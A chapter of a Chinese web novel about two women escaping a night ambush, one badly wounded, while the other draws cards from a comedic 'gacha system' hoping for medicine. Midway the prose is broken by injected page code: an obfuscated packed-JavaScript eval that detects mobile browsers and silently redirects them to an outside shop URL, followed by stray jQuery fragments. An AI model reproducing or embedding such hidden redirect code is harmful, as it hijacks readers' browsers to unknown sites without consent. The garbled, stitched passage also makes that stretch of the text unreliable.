盛明鸢眼里掠过一丝紧张,声音却依旧沉稳:“我没骗你。山林里野鸟成群,今夜除了风声,连一声鸟叫都没有。湛当家的要是个聪明人,就该知道,什么情况下,这山下会连一声鸟叫都没有。”

    这话一出,谢隐舟和湛如兰俱是一怔。

    确实。

    今晚太安静了。

    不止是鸟叫,兽嚎声都没有。

    一阵风贴着脸刮过去,湛如兰的脸色骤然变了。

    “灭火!拔营!”

    顾作却不依不饶,满脸不甘:“二当家的,那这个鸢儿呢?就这么放过了?鸟不叫的情形多了,说不定有什么野狸子在附近呢,谎报军情的话,那可是——”

    “先不说今晚为什么会这么安静。”谢隐舟截断他的话,声音硬了几分,“但这种情形显然有异常,有异常就该提前准备,若真是敌军来犯,她是功臣,为何要处置?”

    顾作被她噎住,脸色青一阵白一阵,眼珠子一转厉声问道:“那要是敌军没有来犯呢。”

    没有就没有呗,那还能怎么着?谢隐舟没说出来,伸手便去拉盛明鸢收拾行李去。

    顾作:“站住!谁许你走了?”

    场面一时僵在原地。

    忽然——

    “嗖”的一声锐响,穿透寂静。

    顾作眉心直插一支箭羽,应声倒地。

    有人大声叫喊:“是卫指挥使司的人来了!”“是卫敬追来了!”

    眨眼间,火光冲天而起,铺天箭矢迎面射过来。

    所有响马跑的跑、逃的逃,营地乱成一锅粥。谢隐舟拉着盛明鸢,头也不回地往黑暗中狂奔。

    就算是卫敬的人来了又怎样?箭矢不长眼睛,这黑灯瞎火的夜里,谁能认出盛明鸢是当今的衍王?

    “嗖——”

    一道破风声擦着耳边掠过,重重钉在两米开外的树干上,箭尾震颤不止。谢隐舟心头一紧,险些被这一箭放倒。她拽着盛明鸢躲到一棵树后,压低了声音,急促地问:

    “是你给卫敬的人留了踪迹?”

    盛明鸢攥紧谢隐舟的手,头回经历战争的她指节泛白:“……你是怎么知道的?”

    “先别管这个了。”谢隐舟探出头飞快地扫了一眼四周,又缩回来,声音又急又低,“先逃命。你现在就算是留下来,没有信物,黑灯瞎火的,对方也未必信你是衍王,只会把你当响马一起杀了。”

    盛明鸢沉默了一瞬,没有反驳。

    她知道谢隐舟说的是对的。

    两人沿着山势的阴影处猫着腰往更深处钻去。身后的喊杀声渐渐远了,又忽然近了,像潮水一样,一退一涨,让人摸不清方向。

    谢隐舟心惊担颤,没忍住骂了几句关于卫敬的脏话。

    足足逃了半夜,天都蒙蒙亮了,两人才终于听不见身后的喊杀声。

    走到小溪边时,谢隐舟实在撑不住了。

    她松开盛明鸢的手,跌跌撞撞地跪在水边,捧起山上化下来的雪水,狠狠洗了把脸。

    “洗把脸吧。咱们两个还算运气好,竟然没死在里面。”她喘着气,声音沙哑。

    身后久久没有动静。

    谢隐舟抹了一把脸上的水,转身催促:“怎么了你?是不是又饿了?我这还有根牛肉干……”

    话说到一半,忽然顿住了。

    寒冬时节,盛明鸢满头大汗地扶着一棵树,大口大口地喘着气。

    她的手里拿着一支箭,半边身子都被血迹浸透了,肩膀处破了一个洞,是被流箭撕开的口子,衣裳裂开的地方,露出里头模糊的血肉。

    谢隐舟看着那半身的血,腿都软了。

    若不是天亮了,她竟还不知道盛明鸢受着伤陪她跑了半夜。

    “你……你怎么不早说你中箭了!”她急急忙忙跑过去,扶着盛明鸢靠在树边坐下。

    盛明鸢的脸上一丝血色也无,嘴唇干裂的厉害,一双眼睛满是空洞地看着她。

    “不会死的,不会死的。”谢隐舟吓得低声呢喃着,一遍又一遍,像是在替盛明鸢鼓劲,又像是在说服自己。

    可最终,逃出生天的盛明鸢还是倒地晕过去了。

    谢隐舟紧急帮盛明鸢简单包扎了伤口,又背着她躲进了一个山洞里。

    除了湛如兰、卫敬和谢家两兄弟,她们两个现在遇到谁估计都是死路一条。

    盛明鸢伤得很严重,一支箭射穿了她的肩膀,手里的箭不知道是她自己拔下来的,还是捡到的。

    更不知道她留着这支箭是什么意思,羽箭的末尾刻着个小小的“卫”字。是卫家军的箭无异了。

    也顾不上盛明鸢会不会发现她能够随身携带羽绒被了,谢隐舟更没时间去找枯草给盛明鸢当垫子,匆匆捡些树枝回来生着火,又给盛明鸢喂下一粒布洛芬,她就跪在盛明鸢的身旁开始祈祷。

    不是她迷信,是因为今天到三月二十六日了。

    她有三天没抽卡了。

    今天,一定要抽到抗生素和急救包之类的东西才行。

    自打第一天跟着湛如兰逃跑时忘记抽卡,谢隐舟便发现左上角多了一个“1”字。

    如今,已经攒了三次抽卡机会。

    甚至系统提示:只要再攒两次,她就能得到一个五连抽,获得SSR机会便多个3%。只是今天是无论如何都得用了。

    她一只手紧紧攥着盛明鸢的手,另一只手颤抖着悬在空中。千万,千万要抽到救命的药。

    她咬咬牙,轻轻点下了第一张卡片。

    金黄色的牌面左右翻转,迸出一道道细碎的金光,像是有什么东西正在被缓缓揭开。

    纸牌停下来了。

    【叮!恭喜宿主获得“一杯白开水”。】

    谢隐舟盯着那印着大红色牡丹花的大茶缸,整个人僵住了。

    一杯白开水。

    她抽到了一杯白开水。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708970|208394||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>盛明鸢还在流血,命悬一线,她抽出的是一杯白开水。

    谢隐舟破防了,这到底是什么狗屁抽卡系统啊!

    她深吸一口气,重振旗鼓,点开第二张。

    【叮!宿主获得《野外求生之草药辨识指南》(附插图)】

    看到这本书后,谢隐舟简直狂喜地惊叫出生了,虽然不是药品,但总好过一杯白开水,她拿着书本比对着去找药材,肯定还是有希望的!

    所以她想也没想,取出那本《野外求生之草药辨识指南》就朝山洞外面狂奔而去,但一见到阳光,她愣住了。

    干她天老爷的!

    冬天,哪有什么草药可以辨识啊!

    谢隐舟感觉自己的太阳穴在突突直跳。

    她甚至怀疑这个破系统是不是在故意耍她。

    扔下手里的《野外求生之草药辨识指南》,谢隐舟踉跄着跑回盛明鸢的身边,还有最后一次机会了。

    盛明鸢的嘴唇白得吓人,脸色也难看得要命。谢隐舟俯下身,侧耳贴在她唇边,呼吸微弱得几乎感觉不到了。

    不行不行,靠自己是不行了。她得把盛明鸢喊醒。

    “盛明鸢!盛明鸢!!你醒醒。”她拍着那张冰凉的脸,声音又急又慌,“你未婚夫卫敬来找你了!”

    盛明鸢没有反应。

    “卫敬出轨湛如兰了!”

    盛明鸢纹丝不动。

    “你母亲要改嫁了!”

    谢隐舟绝望了。这人实在冷血得很,怎么叫都叫不醒。算了,还是掐人中吧。

    她扶起盛明鸢的头,大拇指按在她的人中上,狠狠一掐。

    盛明鸢的眼皮终于颤抖着掀开了一条缝。

    谢隐舟厉声喝道:“快说!现在让你选一二三,你选哪个?你一定要想着可以救命的东西选,比如药啊、绷带啊、酒精啊之类的。”

    “你这个疯子在说些什么东西,痛死我了。”盛明鸢声音轻得谢隐舟险些听不清。

    “别胡闹,你快点选一个,不然你这回真要没命了了。荒郊野外的我去哪给你找药医治啊!”

    盛明鸢没理她。她实在太累了,眼睛一闭,又要昏睡过去。

    谢隐舟急了,慌不择言:“你要是不选,等你死了,我活着出去了,到时候我就说你给我当过丫鬟,天天给我洗脚,还给我暖床,还爱我爱得无法自拔,非要给我生个进士的女儿!”

    “进士算……算个屁啊!”盛明鸢不知哪来的力气,抬手去捂她的嘴,却失了准头,一巴掌拍在谢隐舟嘴巴上,“给我闭嘴!选……三,三!!”

    谢隐舟被打得一愣,随即闭上嘴,老老实实地点了点头。盛明鸢说选三,那就是三。

    她闭上眼,把所有的希望都压在了第三张卡片上,重重按了下去。只求能有一盒阿莫西林,别让盛明鸢的伤口发炎死了。

    卡片转动了。

    金光迸射而出,比前两次都要刺目。